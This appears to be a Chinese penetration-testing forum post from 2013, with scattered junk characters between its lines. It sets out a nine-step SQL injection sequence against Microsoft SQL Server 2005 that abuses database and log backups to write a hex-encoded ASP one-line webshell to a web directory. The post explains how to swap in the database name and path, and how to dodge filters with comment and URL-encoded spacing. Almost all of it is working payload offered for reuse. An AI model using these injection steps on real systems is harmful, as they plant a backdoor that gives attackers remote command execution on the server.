中国网络渗透测试联盟

标题: mssql2005 DB权限导出一句话 [打印本页]

作者: admin    时间: 2013-7-16 20:32
标题: mssql2005 DB权限导出一句话
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。 4 L1 J3 t8 c8 `

: \+ r$ K: k: H/ }
; r* Q4 P! |) }5 X; [7 z6 w( `- D后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。
8 u! i) B& b& O* q+ y2 x 4 Y  z1 u- s% ~8 E- k! \
第一步 8 A" K5 a$ ^1 G
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--
3 h! u3 e0 w$ q
+ z' i# I0 F! M& Q% P' A第二步:
2 O  k; n5 f! p7 ^5 I$ I, X;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
7 [9 a$ E9 r# r, Y' F
- Z" f1 f! P5 Z( r第三步 5 ?5 v9 \# T" C
;drop/**/table/**/[itpro]--
2 B) \1 \7 \, h" m
: d4 Z- j2 Q" \0 \- K- K第四步 - M8 H  b1 d' ], `9 v8 `
;create/**/table/**/[itpro]([a]/**/image)-- ' E: T7 l; O) h# f
- T# W, d8 e1 X; E8 R, G, b7 B; D  e7 f
第五步
. j0 ~5 J7 {0 S! f;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
  O5 r& C1 a( Q* ~& X 0 U. L8 r; N- G6 h, ]
第六步 & G) w; \/ Z1 D+ y! |
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
( ?% G1 l7 D$ J; o- q2 ?% m - Y9 e+ {+ d# [/ t3 l2 w0 G
第七步
/ B0 c  _+ y0 f/ |5 c" u8 S# A;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- 1 F; T# D( n: N. P  b0 X$ E

( p* A' K8 D  ]* `4 w' |第八步 ( |8 l, D; c  {+ v$ B  Y4 \2 N
;drop/**/table/**/[itpro]--
% Z: P/ S" u. j% i* ~2 V; N
, R; T% j; x! A  S& `% e第九步
: ~7 @- ~2 [7 L; {4 r;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- ) ?) \% b8 r. a0 h% e$ g

; i8 y: `3 B% c% U6 C其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。' r& w+ v/ }. d* z2 m6 J





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2